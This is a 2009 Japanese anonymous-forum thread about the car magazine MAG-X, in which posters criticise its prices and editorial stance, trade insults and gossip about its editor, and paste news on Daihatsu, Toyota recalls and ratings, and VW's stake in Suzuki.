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【総括】MAG-Xを語れ Part18【スクープ】

1 :名無しさん@そうだドライブへ行こう:2009/11/09(月) 11:22:53 ID:ayVavRCd0
前スレ
http://namidame.2ch.net/test/read.cgi/car/1238227379/l50


2 :名無しさん@そうだドライブへ行こう:2009/11/09(月) 12:12:52 ID:ayVavRCd0
CyberX Blog 
http://www.mag-x.com/blog/index.html 

3 :名無しさん@そうだドライブへ行こう:2009/11/09(月) 12:21:57 ID:ayVavRCd0
自分で3

4 :名無しさん@そうだドライブへ行こう:2009/11/09(月) 14:40:12 ID:ayVavRCd0
そして4

5 :名無しさん@そうだドライブへ行こう:2009/11/09(月) 20:54:17 ID:ayVavRCd0
何かむなしくなってきたぞ

6 :名無しさん@そうだドライブへ行こう:2009/11/09(月) 22:59:27 ID:743CQdNK0
もう書くことないしな。
なんとなく

7 :名無しさん@そうだドライブへ行こう:2009/11/10(火) 01:40:06 ID:4j3q2bi+0
即死とかあるのかな?この板

8 :名無しさん@そうだドライブへ行こう:2009/11/10(火) 15:01:42 ID:7bIPJAimO
アナルで昇天

9 :名無しさん@そうだドライブへ行こう:2009/11/11(水) 10:37:52 ID:GBIObOYT0
>>1
もう車板に立てなくてもいいんじゃないかな・・・
車雑誌の総合スレとか、本、雑誌の板へ行くとか・・・

10 :名無しさん@そうだドライブへ行こう:2009/11/11(水) 17:38:00 ID:OpirQNaC0
スレも伸びないし、変な経済別冊についてもほとんど書き込みなし
もうどこにもいらないんじゃない?
不倫掲示板があるし

11 :名無しさん@そうだドライブへ行こう:2009/11/11(水) 23:14:45 ID:4n2k79ad0
【童貞板】
【ホモ板】でたくさんww

 2009年11月05日 JR7社「高速道路無料化反対」の自己チュー
>リニア新幹線を自前で作れるなら、いまの料金を下げるべきだし、
JR西日本のように人を殺しても反省の色がない兄弟もいる。
 http://www.mag-x.com/blog/2009/11/jr7.html
 雑誌の公式ブログで、こんなこと書いて許されるのか?

12 :名無しさん@そうだドライブへ行こう:2009/11/12(木) 00:15:17 ID:O0j2pxTJ0
リニア新幹線の開通予定は今から47年先です。そのころまで現代文明はもたないでしょう。

13 :名無しさん@そうだドライブへ行こう:2009/11/12(木) 23:49:43 ID:CbmHn7Jr0
496 :匿名希望さん:2009/11/12(木) 15:33:41
編集部名義でも神領さんの文章はすぐにわかりますね。
ムダに長いが何言いたいのかさっぱりわからないという点でw

14 :名無しさん@そうだドライブへ行こう:2009/11/15(日) 01:14:21 ID:6w+GLZD30
「タタのすべて」はいくらなんでも高すぎ・・・w

15 :名無しさん@そうだドライブへ行こう:2009/11/15(日) 08:02:36 ID:ZERyhUfK0
つぶれるつぶれる言われながらまだ廃刊になりませんねぇ…

16 :名無しさん@そうだドライブへ行こう:2009/11/16(月) 00:45:42 ID:mFWU1d470
コード下さいmagjda@xxne.jp

17 :名無しさん@そうだドライブへ行こう:2009/11/16(月) 23:22:07 ID:QJFt06Y00
ダイハツ、脱中国を加速 インドネシア・マレーシアで攻勢
http://www.business-i.jp/news/sou-page/news/200911160027a.nwc

 ダイハツ工業が、中国に続く新興国として台頭するインドネシア、マレーシアでの市場開拓に向け、アクセルを踏んでいる。
国内での主力の軽自動車の苦戦は深刻で、両国の成長性を追い風に販売増を目指す。
同社は中国でブランド構築に失敗しており、海外事業を両国に絞り込む考えだ。

 国内の軽自動車市場は、ハイブリッド車(HV)などエコカー減税の補助金が大きい登録車に押されている。
10月の販売台数は、前年同月比8.9%減で12カ月連続のマイナスになった。
特に、販売の7割を国内で稼ぐダイハツの危機感は強く、インドネシア、マレーシアで攻勢をかける。

<中略>

 ダイハツがマレーシアとインドネシア市場を強化する背景には、対中国事業でのつまずきがある。
「小型車はきっと受け入れられる」(箕浦輝幸社長)と挑んだ中国で、07年から吉林汽車と共同で「セニア」を販売したが、
08年の販売実績が5100台と目標の3万台に遠く及ばず、今年6月にダイハツブランドの廃止を決めた。
現在、事業撤退も視野に入れて協議している。

 価格面で現地メーカーに太刀打ちできないうえ、1車種のみの投入で、ダイハツブランドも浸透しなかった。
設備投資や販売網構築など、「経営体力的に厳しかった」(関係者)という教訓から、新興国戦略を練り直したのが、
ダイハツ車が「国民車」として浸透しているマレーシアとインドネシア強化だ。
特にインドネシアは、自動車市場の伸びが08年まで40%増で急成長を続けており、期待が大きい。

18 :名無しさん@そうだドライブへ行こう:2009/11/16(月) 23:45:48 ID:WtkkYAuv0
【経済】インドネシア・マレーシア市場に集中…中国で小型車伸びず/ダイハツ [09/11/16]
http://yutori7.2ch.net/test/read.cgi/news4plus/1258333703/

19 :名無しさん@そうだドライブへ行こう:2009/11/17(火) 01:27:14 ID:LVdkfb0j0
「タタのすべて」初めてのまともな内容

20 :名無しさん@そうだドライブへ行こう:2009/11/17(火) 10:06:01 ID:GWlJm8er0
トヨタ、米国で400万台のアクセルペダル交換へ
http://www.chosunonline.com/news/20091116000003

21 :名無しさん@そうだドライブへ行こう:2009/11/17(火) 21:25:33 ID:9SktaKXk0
つまんねー記事貼ってんじゃねー
もうおしまいだおましい

22 :名無しさん@そうだドライブへ行こう:2009/11/17(火) 23:12:27 ID:ZAi7E9mK0
【自動車】2010年次『RJCカー オブ ザ イヤー』決定--日本自動車研究者・ジャーナリスト会議(RJC) [11/17]
http://anchorage.2ch.net/test/read.cgi/bizplus/1258458407/

23 :名無しさん@そうだドライブへ行こう:2009/11/18(水) 21:11:15 ID:Eifga+izO

├┬┬┬┬┬┬┬┬┬┬┬┬┬
玉_け卦懸化気家掛怪妥惰唾堕
│├┬┬┬┬┬┬┬┬┬┬┬┬
猿魔
  猿
正しい漢字をお教え下さい

尚、AAずれ脳内補正補完ご了承

24 :23訂正:2009/11/18(水) 21:20:03 ID:Eifga+izO
池逝
│├┬┬┬┬┬┬┬┬┬┬┬┬┐
田玉_け卦懸化気家掛怪妥惰唾堕
││├┴┴┴┴┴┴┴┴┴┴┴┘
勝猿魔
  猿

正しい漢字をお教え下さい

25 :名無しさん@そうだドライブへ行こう:2009/11/18(水) 23:50:48 ID:LUwSW2/y0
>>13
だから恨み買われてアリガと手つないだデート激写されるんだよ
自分がスクープっていうて゛きた話だけど


26 :名無しさん@そうだドライブへ行こう:2009/11/19(木) 02:22:15 ID:1trKWMvY0
何がおもしろいの、その話。

27 :名無しさん@そうだドライブへ行こう:2009/11/19(木) 08:23:18 ID:mXbLkT2F0
まあ、そもそもが別冊から始まったオマケ雑誌だ。
過激スクープと反権力スタイルがなくなったら、
なんの価値もない可燃ごみ。

で、逝玉猿ってだれ?
クビになった素人ライター?

28 :名無しさん@そうだドライブへ行こう:2009/11/19(木) 10:55:04 ID:LFPu8Re00
「安全な車」トヨタ神話揺らぐ? 米保険調査でゼロ
http://www.47news.jp/CN/200911/CN2009111901000092.html

29 :名無しさん@そうだドライブへ行こう:2009/11/19(木) 22:41:46 ID:dW69z1BY0
>>27
口コミ不買運動家

30 :名無しさん@そうだドライブへ行こう:2009/11/19(木) 23:57:31 ID:dEFDFjkq0
【自動車/米国】トヨタの「安全な車」ゼロ 米保険調査、神話揺らぐ?[09/11/19]
http://anchorage.2ch.net/test/read.cgi/bizplus/1258596327/

31 :猿回し:2009/11/20(金) 20:30:10 ID:C/IHOIsA0
>29
そお?
んなこたぁないw

32 :名無しさん@そうだドライブへ行こう:2009/11/21(土) 21:22:06 ID:h/UzJC7l0
さびれてるねえ。
ペケまんま。

33 :名無しさん@そうだドライブへ行こう:2009/11/21(土) 23:44:26 ID:SuWdCgRb0
「タタのすべて」スズキのマンセー記事が目立った
さすがスズキとダイハツ大好き雑誌

34 :名無しさん@そうだドライブへ行こう:2009/11/22(日) 14:11:02 ID:PFK+jftF0
>>33
昔はスバルも大好きだったはずなのにねー

35 :名無しさん@そうだドライブへ行こう:2009/11/22(日) 19:01:47 ID:XvNuB6iN0
>>33
そりゃスズキ様にはおんぶに抱っこだから


36 :名無しさん@そうだドライブへ行こう:2009/11/22(日) 21:36:52 ID:BExWytAK0
最近はダイハツに厳しくね?

37 :名無しさん@そうだドライブへ行こう:2009/11/22(日) 22:56:24 ID:j/ZE+AwO0
【自動車】2010年次『RJCカー オブ ザ イヤー』決定--日本自動車研究者・ジャーナリスト会議(RJC) [11/17] [ビジネスnews+]
【高年収社長】 ムックハウスpart2 【迷走経営】
【経済】インドネシア・マレーシア市場に集中…中国で小型車伸びず/ダイハツ [09/11/16]
【SUZUKI SWIFT】 スイフト Part70
【自動車/米国】トヨタの「安全な車」ゼロ 米保険調査、神話揺らぐ?[09/11/19]

38 :名無しさん@そうだドライブへ行こう:2009/11/24(火) 18:58:49 ID:SNS0HzKE0
おいおい、まったく誌面に対する発言がないでないの?
いいことだwwwww

39 :23-24訂正:2009/11/24(火) 21:25:16 ID:9YQ+uKChO
┌┐
池逝
│├┬┬┬┬┬┬┬┬┬┬┬┬┐
田玉_け卦懸化気家掛怪妥惰唾堕
││├┴┴┴┴┴┴┴┴┴┴┴┘
勝猿魔
   猿

正しい漢字をお教え下さい

40 :名無しさん@そうだドライブへ行こう:2009/11/24(火) 22:23:16 ID:1or6n03y0
つまらん人間に粘着しても仕方ないぞ。

41 :名無しさん@そうだドライブへ行こう:2009/11/24(火) 23:11:29 ID:9sAoRmIp0
トヨタ反論、米国IIHSの安全性評価に
http://response.jp/article/2009/11/24/132894.html

米国トヨタ販売は、18日にIIHS(道路安全保険協会)が公表した「2010トップセーフティピック」にトヨタ車が1台も選出されなかったことに
対して、アーヴ・ミラー副社長の名前で反論コメントを発表した。

IIHSの衝突テストは前面オフセット64km/h、側面50km/h、後方32km/hで実施。ダミー人形が受けた傷害レベルに応じて、 GOOD(優)、
ACCEPTABLE(良)、MARGINAL(可)、POOR(不可)の4段階で評価する。IIHSは総合評価でGOOD(優)となった車を、「トップセーフティ
ピック」に認定し、衝突安全面でのお墨付きを与えている。

2010年モデルのトップセーフティピックは、全27台。メーカー別ではスバルが5車種と最多で、フォルクスワーゲン、ボルボ、クライスラーが
4車種、ホンダ、GM、フォードが2車種などとなった。

42 :名無しさん@そうだドライブへ行こう:2009/11/24(火) 23:36:11 ID:STGmfWnW0
>>33
>10月31日に発売した『MagX Business?マガジンXビジネス タタのすべて?』。
東京モーターショーの三栄書房ブースでは、おかげさまで完売しました。
   ↑
三栄書房スレより
傑作「タタのすべて」、最低販売記録更新なるか すごいぞ 神

またまたブログのウソが暴かれたなw


43 :名無しさん@そうだドライブへ行こう:2009/11/25(水) 05:34:58 ID:23LsT6IdO
定番は逝玉猿
最もDQN化すれば逝怪堕魔猿

44 :名無しさん@そうだドライブへ行こう:2009/11/25(水) 13:31:22 ID:z3eTAdd/0
スカイラインクロスオーバー ★★★
ランドクルーザープラド ★★★
東京モーターショー総括1/2

「結局、日本の自動車メーカーはお客さんとメディアをナメている」なんだそうな。
変な値引きカタログが別冊でついてこれで特別定価590円。

ナメてんのはお前らだ。

45 :名無しさん@そうだドライブへ行こう:2009/11/25(水) 16:43:27 ID:wdYFZTz80
プラドが★★★とか歴代プラドで最高の評価じゃないかw

46 :名無しさん@そうだドライブへ行こう:2009/11/25(水) 17:36:02 ID:J6/B6JON0
>>44
いつからバイヤーズ誌になった?
乗ったことないのに評価もすんな!
たったひとりの総括

47 :猿回し:2009/11/25(水) 21:17:33 ID:rmfAan9O0
>39
>40
>43
ぷっ、ガキだねw
厨房、いや、子供店長にも負けてる。

48 :名無しさん@そうだドライブへ行こう:2009/11/25(水) 23:19:49 ID:C+t6mJpD0
>>44
ワンパターン編集で、もう飽きた
付録も去年の使いまわしだろ
その手抜き編集で
デフレ時代に590円に値上げ
>>42 のインチキ経済別冊ともども
「お客さんとメディアをナメている」

49 :名無しさん@そうだドライブへ行こう:2009/11/26(木) 01:13:41 ID:OSM6LzJs0
>>47
キャラ設定忘れたの?

50 :名無しさん@そうだドライブへ行こう:2009/11/26(木) 12:20:03 ID:ptlcQZL+0
>>48
すべてをナメているからなやつは
というか心底馬鹿だからそんな意識はさらさらないけど

51 :名無しさん@そうだドライブへ行こう:2009/11/26(木) 12:28:17 ID:2INelGyr0
大好きなダイハツ・ソニカも製造中止になるしw

52 :猿回し:2009/11/26(木) 20:27:43 ID:IUY1YWCo0
まあ、読者のレベルがアレだからw

53 :名無しさん@そうだドライブへ行こう:2009/11/26(木) 20:50:08 ID:OSM6LzJs0
捨てられた人間って、大体
「俺の方から捨てた」って
聞いてもいないのに語り出すよね

54 :名無しさん@そうだドライブへ行こう:2009/11/26(木) 21:20:28 ID:5j2mkR5d0
内容が薄すぎのくせに、590円は高すぎ

完全に読者をナメてるよ

この雑誌も終わったな

55 :名無しさん@そうだドライブへ行こう:2009/11/26(木) 22:19:56 ID:lxOBpBQ20
>>53
ここがそういうスレだと思えば納得だよな

56 :名無しさん@そうだドライブへ行こう:2009/11/27(金) 00:11:43 ID:odoSFy/S0
このスレを見ている人はこんなスレも見ています。(ver 0.20)
【高年収社長】 ムックハウスpart2 【迷走経営】 [雑誌]
【自動車】2010年次『RJCカー オブ ザ イヤー』決定--日本自動車研究者・ジャーナリスト会議(RJC) [11/17] [ビジネスnews+]
【経済】インドネシア・マレーシア市場に集中…中国で小型車伸びず/ダイハツ [09/11/16] [東アジアnews+]
【SUZUKI SWIFT】 スイフト Part70 [車種・メーカー]
【自動車/米国】トヨタの「安全な車」ゼロ 米保険調査、神話揺らぐ?[09/11/19] [ビジネスnews+]

57 :猿回し:2009/11/27(金) 19:59:02 ID:kyBklDuL0
たったの590円ぽっちの小銭出せなくって
雑誌も買えないような立ち読み厨に限って、
内容がどうのこうの言うんだよね。。。
可哀相にねえw

納得ずくで金出して文句言うクルクルパーは
普通はいないから当然っちゃあ当然かwww
てゆうか、もしそんなのがいたら完璧なアフォ

結局、ここで書き込んでるのは100%客じゃないから
声は届かないんじゃないかねえ、、、残念だけどねえw

58 :名無しさん@そうだドライブへ行こう:2009/11/27(金) 20:47:05 ID:fyt6Rr3J0
>>11 まぁこの人は鉄道の事を知らなすぎるね

今月号のコラム?も突っ込みどころ満載だったし

59 :名無しさん@そうだドライブへ行こう:2009/11/27(金) 21:38:04 ID:JaQQTMv20
>>58

>2009年11月05日 JR7社「高速道路無料化反対」の自己チュー
>リニア新幹線を自前で作れるなら、いまの料金を下げるべきだし、
>JR西日本のように人を殺しても反省の色がない兄弟もいる。

そんなに正論ぶるなら、特集でも組んでJR糾弾キャンペーンでもやればいいの。
正義の記者魂とやらで


60 :名無しさん@そうだドライブへ行こう:2009/11/27(金) 23:21:43 ID:P+ElwEjW0
>正義の記者魂をヒケラカス編集長が
 税金の過少申告がバレ 
 部下との不倫ww
http://love6.2ch.net/test/read.cgi/zassi/1231000339/l50

>>58
あのブログを見ると、
鉄道どころか車のことも本当は理解していないし、勉強してないな

61 :名無しさん@そうだドライブへ行こう:2009/11/27(金) 23:52:41 ID:tcjRI5uu0
ダイハツ、輸出が不振で4割減…10月実績
http://response.jp/article/2009/11/27/133079.html
ダイハツ工業の10月の生産・国内販売・輸出実績によると、
グローバル生産台数は前年同月比17.8%減の6万8307台と、大幅マイナスとなった。

国内生産は同18.3%減の5万7307台だった。国内販売、輸出ともに不振だったため。

国内販売は同9.2%減の5万62台と2か月ぶりにマイナスとなった。軽自動車市場のシェアは37.3%で、
前年同月よりも0.3ポイントダウンした。

輸出はアジア向け、欧州向けが不振で同44.8%減の4558台にとどまった。

海外生産はインドネシアの生産が減少し、同14.6%減の1万1000台だった。


スズキ、国内生産が13か月連続マイナス…10月実績
http://response.jp/article/2009/11/27/133078.html
スズキが27日に発表した10月の四輪車生産・国内販売・輸出実績によると、
世界生産台数は前年同月比4.4%減の21万7248台と2か月連続でマイナスとなった。

国内生産が輸出の不振で同22.5%減の8万5043台と低迷したため。13か月連続のマイナスとなる。

国内販売は登録車の販売が落ち込み、同1.7%減の5万2214台となった。

輸出は同52.5%減の1万4259台と半減した。欧州向けが大幅に落ち込み、14か月連続のマイナスとなった。

海外生産は同11.2%増の13万2205台と4か月連続でプラスとなった。インドと中国が大幅に伸びた。

62 :名無しさん@そうだドライブへ行こう:2009/11/28(土) 00:40:19 ID:fz61FlQ80
(11/27)トヨタ、10月の国内生産・販売・輸出実績を発表

トヨタ自動車、10月 生産・国内販売・輸出実績

 トヨタ自動車(株)(以下、トヨタ)は、
10月のトヨタ、ダイハツ工業(株)(以下、ダイハツ)及び日野自動車(株)(以下、日野)の
生産、国内販売、輸出の実績を下記のとおり発表した。

【 国内生産 】
トヨタは、30.5万台(前年同月比89.3%)と、前年同月実績を下回った。

ダイハツは、5.7万台(前年同月比81.7%)と、前年同月実績を下回った。

日野は、7.3千台(前年同月比83.8%)と、前年同月実績を下回った。

合計は37.0万台(前年同月比87.9%)と、前年同月実績を下回った。

<以下略>

日本経済新聞
http://car.nikkei.co.jp/release/article.aspx?id=237596

63 :名無しさん@そうだドライブへ行こう:2009/11/28(土) 08:13:39 ID:BYtJbtrW0
>>60
あの人の車嫌いは有名な話
というか、なにに興味があるのかも不明

64 :猿回し:2009/11/28(土) 23:14:10 ID:5D9K8kno0
関係者なら、さっさと辞めればいいし、
読者なら買わなきゃいい。

あはっw そうか。
他では雇ってもらえないのね?
他に読めそうな雑誌がないレベルだしね。
能力不足、常識不足、適応力不足ね。

ぷぷぷ。可哀相にねえ。 どっちにしても悲惨w
他に生きる道も選択肢もないのねwwww^^
まあ、頑張れやw (優越感、、、満足)

65 :名無しさん@そうだドライブへ行こう:2009/12/01(火) 23:45:48 ID:r/rW6zRP0
>>63
記者クラブとか、市橋とか
薄っぺらな中身の
車に関係がない記事で
ページを埋めるのやめてほしい。

中の人がブログでどう言い訳しても、部数はどんどん減っているだろ。

66 :名無しさん@そうだドライブへ行こう:2009/12/02(水) 11:38:34 ID:OAqjeQh40
【兵庫】走行中の10トントラックから100キロのタイヤが脱落、軽乗用車を直撃 女性(31)軽傷(画像あり)
http://tsushima.2ch.net/test/read.cgi/newsplus/1259586929

67 :名無しさん@そうだドライブへ行こう:2009/12/02(水) 13:34:45 ID:+OohPpaM0
立ち読み

68 :名無しさん@そうだドライブへ行こう:2009/12/02(水) 23:30:36 ID:t25fnh7nO
09年7月号のざ・総括で、VWゴルフに《買わなきゃ損する超絶品!》の★★★★★与えてる時点で終わってる
他号ではマイナーチェンジしたMOVEやティーダのコスト削減叩くくせに、VWゴルフのコスト削減には一切触れない
数百円単価のインジケーターランプの廃止なんかより、先々代から導入してきた日本仕様専用バンパーの廃止の方があからさまなコスト削減だろ
何だがいちゃもんつけて、結局コイツらも輸入車マンセーなんだよ

69 :名無しさん@そうだドライブへ行こう:2009/12/02(水) 23:54:11 ID:CuFnrML60
COTYマンセーでもあるぜw
欧州COTYまでブログで媚売り
入りたくてしょうがないんだなw

70 :名無しさん@そうだドライブへ行こう:2009/12/03(木) 00:21:52 ID:vsxAX1H30
でもレクサス暴走事故をちゃんと伝えてるのはこの雑誌だけだったな

71 :名無しさん@そうだドライブへ行こう:2009/12/03(木) 02:01:05 ID:B/I/F6qL0
レクサスの暴走事故を祭りのごとく騒ぎ立ててるのはクレイジーなアメリカだけだろ
IIHSの評価の件にしてもそうだが、自国のクルマを保護するために過剰にメディアが反応してるだけ
グッドイヤーとエクスプローラーの関連事故のときは、早急に事件が取り上げられることはなかった

72 :名無しさん@そうだドライブへ行こう:2009/12/03(木) 02:09:58 ID:P/zPohoE0
でもトヨタの日本でのマスコミ操作が相当なもんなのは周知の事実だし
アメリカが異常かどうかはよくわからないな。
あっちで似たようなことやってかえって反発されたんだろ

73 :名無しさん@そうだドライブへ行こう:2009/12/03(木) 02:36:02 ID:B/I/F6qL0
ま、マスコミ操作をしてるかは定かではないにしてもこの不景気で広告収入が大幅に減ってることもあって、
テレビ各局が大手スポンサーであるトヨタを気遣って報道を自粛してる面は一理あるかもな
ただ、いずれにせよアメリカメディアのレクサス暴走事故の取り上げ方は異常だよ
事故車両のESがスマートキーのボタンプッシュ型エンジンスターターを採用してて、
エンジンを切るの3秒以上かかるってだけで、"レクサス"のボタンプッシュ型エンジンスターターを批難してる
そんなもの、今や世界各国のあらゆるメーカーの車種で採用されてるだろ
それをあたかも"トヨタ"の、"レクサス"のプッシュ型エンジンスターターだけの問題であるかの如く報道してる
馬鹿げた話にもほどがあるよ

74 :名無しさん@そうだドライブへ行こう:2009/12/03(木) 09:53:45 ID:N8EZ8BU50
>>71>>73
ヨタヲタ乙

75 :名無しさん@そうだドライブへ行こう:2009/12/03(木) 18:32:05 ID:jqBzC+rz0
でも、アメリカの国民はこの件に関してあんまり関心を持ってない気がする
11月のトヨタの北米での販売実績も前年比で+だったし
結局、国民はメディアなんか信じていないんじゃない?



76 :名無しさん@そうだドライブへ行こう:2009/12/03(木) 18:49:50 ID:i0FikuBe0
RVRのネーミング、珍しく当たったな。
ベストカーは頓珍漢な名前でずっと報じてたけど。

77 :名無しさん@そうだドライブへ行こう:2009/12/03(木) 19:48:41 ID:gOg6R8JZO
>>75
去年はもろリーマンショックの影響受けてたから、前年比で+になったんだろ
レクサスの暴走事件後も前月比で+に転じてるんなら、まずメディアの影響なしと考えて良さそうだな

78 :名無しさん@そうだドライブへ行こう:2009/12/03(木) 20:11:08 ID:PIQOmkfqP
>>76
マグXの画のほうがカッコイイよな

79 :名無しさん@そうだドライブへ行こう:2009/12/04(金) 00:23:04 ID:Scg4VJ1R0
マットにアクセル引っかかり事故、1年間に13件

 米国で起きたトヨタ車の暴走事故に関連し、国土交通省は3日、フロアマットにアクセルペダルが引っかかって起きた車の事故が
国内で過去1年間に13件あり、3人の重軽傷者が出ていることを明らかにした。
フロアマットを二重に敷くなど、ユーザーの使い方に問題があったとしてリコール対象にはなっていないが、同省では、ユーザーへの
注意喚起を徹底するよう、メーカー各社に要請した。

 国交省によると、13件のうち9件は、純正品のフロアマットに後付けのマットを重ねたことが原因。
ペダルに後付けカバーをかぶせたり、マットが固定されていなかったりしたものもあった。
メーカーはトヨタ自動車、三菱自動車など5社で、同省では「マットの使い方の問題で、車種には関連性がない」としている。

 一方、マットに関連したリコールでは、今年5月、
ダイハツ工業が製造しトヨタが販売するワゴン車「タウンエース」「ライトエース」計1万198台で、
運転席のフロアマットの厚みが薄く、アクセルペダルを踏んでいるうちにマットに穴が開き、ペダルがマットにひっかかって戻らなくなった
ものがある。けが人はなかった。

(2009年12月3日23時46分 読売新聞)
http://www.yomiuri.co.jp/national/news/20091203-OYT1T01055.htm

80 :名無しさん@そうだドライブへ行こう:2009/12/04(金) 12:19:31 ID:LSgysM+Q0
仏プジョー、三菱自への出資を検討
ttp://japanese.joins.com/article/article.php?aid=123565&servcode=300§code=320

81 :名無しさん@そうだドライブへ行こう:2009/12/04(金) 22:40:11 ID:zxjCciNY0
スズキ、GMとの合弁解消を発表 カナダ工場株売却
http://www.nikkei.co.jp/news/sangyo/20091204NT001001604122009.html


82 :名無しさん@そうだドライブへ行こう:2009/12/05(土) 01:44:13 ID:kcyz/6e20
結構好きな雑誌だが、高いよな。ムックも買おうかと思ったが価格に吃驚してやめた。ここの会社の経営方針が解らんな。

83 :名無しさん@そうだドライブへ行こう:2009/12/05(土) 10:38:33 ID:QMXH9KdW0
メーカーの宣伝はお断りってことじゃないの

84 :名無しさん@そうだドライブへ行こう:2009/12/05(土) 23:36:44 ID:PXI9tmSs0
パージします

85 :名無しさん@そうだドライブへ行こう:2009/12/06(日) 08:48:03 ID:zris1kQa0
>>83
姿勢としてはそりゃそうだろ
一部メーカー広報とはベタベタだが

86 :名無しさん@そうだドライブへ行こう:2009/12/06(日) 23:10:10 ID:QZe6UnDk0
青ライオンに手裏剣が刺さって赤い血が流れたとか

87 :名無しさん@そうだドライブへ行こう:2009/12/07(月) 12:03:48 ID:hWRP6J/I0
そういや、プジョーディーラーの内紛を一度記事にして、続報を待て!とか言ってた割に、
その後一切記事が出てないな。

88 :名無しさん@そうだドライブへ行こう:2009/12/08(火) 23:25:37 ID:Sg5GqdWf0
【自動車】プジョー、三菱自動車への出資は資金調達が困難になる可能性−アナリスト [09/12/08]
http://anchorage.2ch.net/test/read.cgi/bizplus/1260276780/

89 :名無しさん@そうだドライブへ行こう:2009/12/08(火) 23:47:20 ID:SVZY/KGT0

編集長兼社長にとって
都合の悪い話、ヤバイネタは
一切記事にしないで、スルー。

90 :名無しさん@そうだドライブへ行こう:2009/12/09(水) 12:39:36 ID:PcTsHAlB0

スズキがフォルクスワーゲン・グループ入りか
フォルクスワーゲンの(傘下)子会社になる

91 :名無しさん@そうだドライブへ行こう:2009/12/09(水) 17:02:52 ID:KwZZZTLu0
GM→VWになっただけじゃん

92 :名無しさん@そうだドライブへ行こう:2009/12/09(水) 23:39:58 ID:jAa7TINU0
>VWのスズキへの出資報道について
スズキに確認したところ、下記のとおり現状では「決定した事実はありません」とのことだった。
本日午後3時以降に「会見の予定もない」(東京支店広報課)としている。
    ↑
 スズキですら、まともに相手にされていないブログってことだなw

93 :名無しさん@そうだドライブへ行こう:2009/12/09(水) 23:54:24 ID:ZFt6ItBh0
>>92の馬鹿さ加減にワロタw

94 :名無しさん@そうだドライブへ行こう:2009/12/10(木) 00:22:46 ID:+FRB5k9zO
本気の車選び2010が発売された 
モロほどじゃないが以前より辛口になってる 
いっぱしの評論家の本音がわかるという意味では良い本だと思った 
こうゆう評論家は貴重なので助ける意味でまずは立ち読みしてやって欲しい

95 :名無しさん@そうだドライブへ行こう:2009/12/10(木) 01:18:48 ID:JvumWxUo0
VW、スズキ株19.9%取得し筆頭株主に 午後5時から共同会見
ttp://www.nikkei.co.jp/news/main/20091209AT1D0903H09122009.html

96 :名無しさん@そうだドライブへ行こう:2009/12/10(木) 11:52:17 ID:990S+JKU0
スズキとVW提携、どうするトヨタ
http://response.jp/article/2009/12/09/133590.html
Response 2009年12月9日

スズキとフォルクスワーゲンの提携で、これまで緩やかな業務提携を続けてきたVWとトヨタ自動車との関係が注目される。

トヨタはVWと業務提携を結んで、日本国内でのVWの販売や環境技術に関する情報交換などを行ってきた。

今回のVWとスズキの提携は、今後環境技術をベースに、共同開発車なども進むと見られる。
そんな中で、トヨタと日本国内でライバル意識の強いスズキに対抗する形で、トヨタ系ディーラーによるVWの販売が継続するのかは微妙だ。
また、トヨタとVWの環境技術の情報交換などもストップする可能性もある。

VWは2018年に販売台数を1000万台にする構想を掲げて、世界トップとなったトヨタに対抗心をあらわにしている。
今回、スズキとの提携でススキの台数を加えたVWグループは販売台数でもトヨタに肉薄すると見られている。
それだけにVWとトヨタとの関係見直しは必至の情勢だ。

97 :名無しさん@そうだドライブへ行こう:2009/12/10(木) 15:25:26 ID:zD+wP12A0
>>94
書いたのは誰?

98 :名無しさん@そうだドライブへ行こう:2009/12/10(木) 16:29:23 ID:58DlIzNM0
>本気の車選び2010
立ち位置?はモロとも総括とも多少違うような気がした

99 :名無しさん@そうだドライブへ行こう:2009/12/10(木) 21:47:33 ID:QdjNvyDI0
やいおまえら、関係ねー話しはよそでやれや!
まったくXの話が出てねーじゃんか


100 :名無しさん@そうだドライブへ行こう:2009/12/10(木) 22:05:08 ID:8CGax4Q/0
>>98
「本気」ってやつはレイアウトだけ流用した他人によるパチモンだぜ
「本音」ってやつが現在のモロー著作

101 :名無しさん@そうだドライブへ行こう:2009/12/11(金) 11:01:46 ID:KHOssE7e0
キザシは★★★★★かな

102 :名無しさん@そうだドライブへ行こう:2009/12/11(金) 11:20:32 ID:BygkPp060
スズキがVWの家来に

103 :名無しさん@そうだドライブへ行こう:2009/12/11(金) 18:17:57 ID:Jy1Qm+M5P
>>101
3.5ぐらいじゃないか?

104 :名無しさん@そうだドライブへ行こう:2009/12/13(日) 00:10:37 ID:q0sWM2/R0
【車総合】講談社ビーシー/講談社ベストカー【エンタメ情報誌】
http://namidame.2ch.net/test/read.cgi/car/1258105299/

三推社ベストカー 徳大寺有恒の「俺と疾れ!!」
http://society6.2ch.net/test/read.cgi/mass/1210571817/

105 :名無しさん@そうだドライブへ行こう:2009/12/13(日) 12:47:52 ID:nW05hj/J0
「本音」ねぇ...
該当スレが無いからここに書くけど
あの本、車種評価よりその前に書いてあるコラム?文章?
が好きだったんだけど

年々ページが減っていくからな

106 :名無しさん@そうだドライブへ行こう:2009/12/13(日) 12:51:38 ID:sGHZQDWA0


107 :名無しさん@そうだドライブへ行こう:2009/12/14(月) 23:56:59 ID:6i/+qnBh0
>>99
内容が無さ過ぎで相手にされてない

108 :名無しさん@そうだドライブへ行こう:2009/12/15(火) 11:29:14 ID:VHeOGLaO0
大スクープですよ
http://mamono.2ch.net/test/read.cgi/company/1259065562/

109 :名無しさん@そうだドライブへ行こう:2009/12/15(火) 17:39:53 ID:jOXBy6e70
>本音
点数表?の下あたりに書いてあるコメントは好きだったな
「勘違いハイテクマッチョカー」は笑った

110 :名無しさん@そうだドライブへ行こう:2009/12/16(水) 22:07:43 ID:Nh/KWmUm0
しょうもない車雑誌を話題にするヒマ人のスレってここでつか?

111 :名無しさん@そうだドライブへ行こう:2009/12/17(木) 22:32:47 ID:856teCdm0
つーか、かんけねー単行本の話をするな、ボケ

112 :名無しさん@そうだドライブへ行こう:2009/12/18(金) 09:55:10 ID:87GQdQsD0
ほげぇ

113 :名無しさん@そうだドライブへ行こう:2009/12/18(金) 11:46:13 ID:edjM4CNw0
スズキ<7269.T>、フォルクスワーゲンが19.9%出資

ロイター
http://jp.reuters.com/article/companyNews/idJPnTK033844120091209

 VWの12番目のブランドではない

 都内で会見したスズキの鈴木修会長によると、年間生産台数が二百数十万台規模の同社では環境対応技術など「独力で対応するのは
困難」と考えていたところ、「VW側から申し出があり、VWのマルティン・ヴィンターコーン会長がスズキの浜松本社を訪れた11月以降
急ピッチで話が進んだ」という。同席したヴィンターコーン会長も、「スズキとの提携でアジアで大きな成長を得られる」と述べた。

